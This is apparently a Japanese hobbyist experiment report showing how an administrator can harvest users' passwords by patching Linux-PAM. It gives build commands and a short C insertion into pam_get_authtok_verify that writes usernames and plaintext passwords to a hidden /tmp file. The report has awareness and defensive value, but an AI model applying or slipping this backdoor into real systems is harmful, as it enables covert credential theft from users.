passwdの改変とか

最初に
管理者なら利用者のパスワードを取得する機会があるはず.
もしパスワードの使い回しとかしてたらとても危険なことになる.
では,管理者が利用者のパスワードを取得するにはどのような方法がある?

具体的な方法
いくつかの方法が考えられるが,基本的には入力された時点でパスワードを取得するのが一番楽かもしれない.以下にいくつかの方法を示す.
1.passwdやshadowファイルの解析を行う.
shadowファイルの閲覧にはrootが必要だが,手に入ればJohn the Ripperなどのツールを使って解析を行うことが可能となる.この方法はシステムに変更を加えることなく試すことができる.
2.passwdコマンドの改変
passwdを改変し,入力されたパスワードをファイルに保存する.passwdのソースコードを読む必要があり,少し面倒.また,passwdコマンドを使う頻度は少ないため,おそらく初回しか効果を発揮しない.
3.sudoコマンドの改変
利用者sudoersに入っている場合のみ使用可能.入力されたパスワードをファイルに保存し,あわよくば他のサービスのパスワードが獲れるかもしれない?人によって使用頻度が異なる点が欠点.
4.sshコマンドの改変
最も多くの機会がある方法.ソースコードを読む必要がある.サーバは基本的にリモートログインで使用するため最も確実な方法.
 
方法の選定
今回は 2.passwdコマンドの改変 を試してみることとする.理由としてはpasswd,shadowファイルの解析はパスワードの長さにより解析にかかる時間が変動すること,他のコマンドと比較して小規模なコマンドなためである.
 
実験環境
仮想マシン上にCentOS7を入れて実験を行った.
以下に環境を示す.
[ホスト]
OS:Windows 10 Education
プロセッサ:Intel Corei7-3632QM
実装メモリ:16.0[GB]
[ゲスト]
仮想化ソフト:Virtual Box 5.1.18
OS:CentOS Linux release 7.3.1611 (Core)
 
実験
wget,gcc,vim,yumdownloader,bzip2を入れる

#yum install wget gcc vim yum-utils bzip2

 
passwdのソース付きパッケージをダウンロードする

#yumdownloader --source passwd

 
パッケージの展開を行う

#rpm -ivh passwd-0.79-4.el7.src.rpm

 
$HOME/rpmbuild/SOURCESにpasswd-0.79.tar.bz2とpasswd-0.79-translation-updates.patchとが展開されるので,tar.bz2を伸長する.

#tar xf passwd-0.79.tar.bz2

 
伸長したディレクトリの中にpasswd.cというファイルがあるので読み進めていく.読み進めた結果,パスワードの設定はPAMに丸投げしていることがわかった.

int
main(int argc, const char **argv)
{
   (略)
retval = pam_start("passwd", username, &conv, &pamh);
   (略)
}

 
Linux-PAMとはLinuxにおける認証や暗号化を行うシステムである.これにより認証を共通化することでアプリケーション毎に認証機構を作成する必要がなくなる.公式サイトはLinux-PAMで,ソースはここにある.
また,Githubにも最新版のソースコードがある.ただしGithubのコードを使う場合autoconfなどを使って自分でconfigureを生成する必要があるなど,少し手間が増える.
そのため,今回は公式サイトからソースを落とすこととした.
 
Linux-PAMのソースを落とし,展開し,とりあえずコンパイルしてインストール.

#wget http://www.linux-pam.org/library/Linux-PAM-1.3.0.tar.bz2
#tar xf Linux-PAM-1.3.0.tar.bz2
#cd Linux-PAM-1.3.0
#./configure
#make
#make install
#make xtests

 
無事に終了したらソースコードを読み進める.読み進めていくとpasswd.cに書いてあったpam_start関数はPAMのハンドラに登録するものであることがわかった.ハンドラの流れを辿るのは面倒なので,passwordなどで検索を行いながら読み進めていくと,pam_get_authtok.cのpam_get_authtok(pam_get_authtok_internal)関数とpam_get_authtok_verify関数が怪しいと分かった.
以下にそれぞれの関数を示す.
 

static int
pam_get_authtok_internal (pam_handle_t *pamh, int item,
			  const char **authtok, const char *prompt,
			  unsigned int flags)
{
  char *resp[2] = {NULL, NULL};
  const void *prevauthtok;
  const char *authtok_type = "";
  int chpass = 0; /* Password change, ask twice for it */
  int retval;
  if (authtok == NULL)
    return PAM_SYSTEM_ERR;
  /* PAM_AUTHTOK in password stack returns new password,
     which needs to be verified. */
  if (pamh->choice == PAM_CHAUTHTOK)
    {
      if (item == PAM_AUTHTOK)
	{
	  chpass = 1;
	  if (!(flags & PAM_GETAUTHTOK_NOVERIFY))
	    ++chpass;
	}
      authtok_type = get_option (pamh, "authtok_type");
      if (authtok_type == NULL)
	{
	  retval = pam_get_item (pamh, PAM_AUTHTOK_TYPE, (const void **)&authtok_type);
	  if (retval != PAM_SUCCESS || authtok_type == NULL)
	    authtok_type = "";
	}
      else
        pam_set_item(pamh, PAM_AUTHTOK_TYPE, authtok_type);
    }
  retval = pam_get_item (pamh, item, &prevauthtok);
  if (retval == PAM_SUCCESS && prevauthtok != NULL)
    {
      *authtok = prevauthtok;
      return PAM_SUCCESS;
    }
  else if (get_option (pamh, "use_first_pass") ||
	   (chpass && get_option (pamh, "use_authtok")))
    {
      if (prevauthtok == NULL)
	{
	  if (chpass)
	    return PAM_AUTHTOK_ERR;
	  else
	    return PAM_AUTH_ERR;
	}
      else
	return retval;
    }
  if (prompt != NULL)
    {
      retval = pam_prompt (pamh, PAM_PROMPT_ECHO_OFF, &resp[0],
			   "%s", prompt);
      if (retval == PAM_SUCCESS && chpass > 1 && resp[0] != NULL)
	retval = pam_prompt (pamh, PAM_PROMPT_ECHO_OFF, &resp[1],
			     _("Retype %s"), prompt);
    }
  else if (chpass)
    {
      retval = pam_prompt (pamh, PAM_PROMPT_ECHO_OFF, &resp[0],
			   PROMPT1, authtok_type,
			   strlen (authtok_type) > 0?" ":"");
      if (retval == PAM_SUCCESS && chpass > 1 && resp[0] != NULL)
	retval = pam_prompt (pamh, PAM_PROMPT_ECHO_OFF, &resp[1],
			     PROMPT2, authtok_type,
			     strlen (authtok_type) > 0?" ":"");
    }
  else if (item == PAM_OLDAUTHTOK)
    retval = pam_prompt (pamh, PAM_PROMPT_ECHO_OFF, &resp[0],
			 PROMPTCURRENT, authtok_type,
			 strlen (authtok_type) > 0?" ":"");
  else
    retval = pam_prompt (pamh, PAM_PROMPT_ECHO_OFF, &resp[0], "%s",
			 PROMPT);
  if (retval != PAM_SUCCESS || resp[0] == NULL ||
      (chpass > 1 && resp[1] == NULL))
    {
      /* We want to abort */
      if (chpass)
        pam_error (pamh, _("Password change aborted."));
      return PAM_AUTHTOK_ERR;
    }
  if (chpass > 1 && strcmp (resp[0], resp[1]) != 0)
    {
      pam_error (pamh, MISTYPED_PASS);
      _pam_overwrite (resp[0]);
      _pam_drop (resp[0]);
      _pam_overwrite (resp[1]);
      _pam_drop (resp[1]);
      return PAM_TRY_AGAIN;
    }
  _pam_overwrite (resp[1]);
  _pam_drop (resp[1]);
  retval = pam_set_item (pamh, item, resp[0]);
  _pam_overwrite (resp[0]);
  _pam_drop (resp[0]);
  if (retval != PAM_SUCCESS)
    return retval;
  return pam_get_item(pamh, item, (const void **)authtok);
}

 

int
pam_get_authtok_verify (pam_handle_t *pamh, const char **authtok,
			const char *prompt)
{
  char *resp = NULL;
  const char *authtok_type = "";
  int retval;
  if (authtok == NULL || pamh->choice != PAM_CHAUTHTOK)
    return PAM_SYSTEM_ERR;
  if (prompt != NULL)
    {
      retval = pam_prompt (pamh, PAM_PROMPT_ECHO_OFF, &resp,
			   _("Retype %s"), prompt);
    }
  else
    {
      retval = pam_get_item (pamh, PAM_AUTHTOK_TYPE, (const void **)&authtok_type);
      if (retval != PAM_SUCCESS || authtok_type == NULL)
        authtok_type = "";
      retval = pam_prompt (pamh, PAM_PROMPT_ECHO_OFF, &resp,
			   PROMPT2, authtok_type,
			   strlen (authtok_type) > 0?" ":"");
    }
  if (retval != PAM_SUCCESS || resp == NULL)
    {
      /* We want to abort the password change */
      pam_set_item (pamh, PAM_AUTHTOK, NULL);
      pam_error (pamh, _("Password change aborted."));
      return PAM_AUTHTOK_ERR;
    }
  if (strcmp (*authtok, resp) != 0)
    {
      pam_set_item (pamh, PAM_AUTHTOK, NULL);
      pam_error (pamh, MISTYPED_PASS);
      _pam_overwrite (resp);
      _pam_drop (resp);
      return PAM_TRY_AGAIN;
    }
  retval = pam_set_item (pamh, PAM_AUTHTOK, resp);
  _pam_overwrite (resp);
  _pam_drop (resp);
  if (retval != PAM_SUCCESS)
    return retval;
  return pam_get_item(pamh, PAM_AUTHTOK, (const void **)authtok);
}

それぞれハイライトした部分は1回目のパスワードと2回目のパスワードを比較している.ただし,passwdコマンドを普通に実行した場合はpam_get_authtok_internal関数のif文は通らず,パスワードは1回目しか読み込んでいないことがわかった.一方で,pam_get_authtok_verify関数のif文では1回目と2回目のパスワードを比較していることが分かった.なお,確認にはif文の前にprintf関数を置いて出力されるかどうかを確認した.
 
pam_get_authtok_verify関数のif文の前では1回目と2回目に打ち込んだパスワードがそれぞれ*authtok,とrespとに平文で保存されていることがわかった.あとはこれをファイルに保存する.ファイルの保存はpam_get_authtok_verify関数の34行目に以下のようなコードを挿入することで行うことができる.なお,ファイルの先頭にはstdio.hとstdlib.hのインクルードが必要.

  FILE *fp;
  if ((fp = fopen("/tmp/.test", "a")) != NULL)
  {
    fprintf(fp,"%s,%s,%s\n",pamh->user,*authtok,resp);
    fclose(fp);
  }

これにより
ユーザ名,1回目に打ち込んだパス,2回目のパス
というCSV形式でパスワードが保存される.
(先にファイルを作ってパーミッションを緩くしないとファイルに書き込まれないという問題ができたけど気にしない気にしない)
 
考察
実験から管理者であればパスワードを取得する機会があることがわかった.また,今回実験した方法以外にも様々な手法が考えられる.
最も簡単な対策としては,システムによってパスワードを変えることである.コマンドに対してはコマンドやシステムのハッシュを比較するなどの対策が考えられるが,これは攻撃に対する対症療法のようなもので,根本的な解決にはならない.
変なシステムは警戒して,できるだけ情報を渡さないように心がけよう….
 
参考文献
こうきん,”CentOSでRPMのソースを取得する”,http://kohkimakimoto.hatenablog.com/entry/2012/03/18/071637,2017/06/01閲覧
Linux-PAM,”A Linux-PAM pages”,http://www.linux-pam.org/,2017/06/02閲覧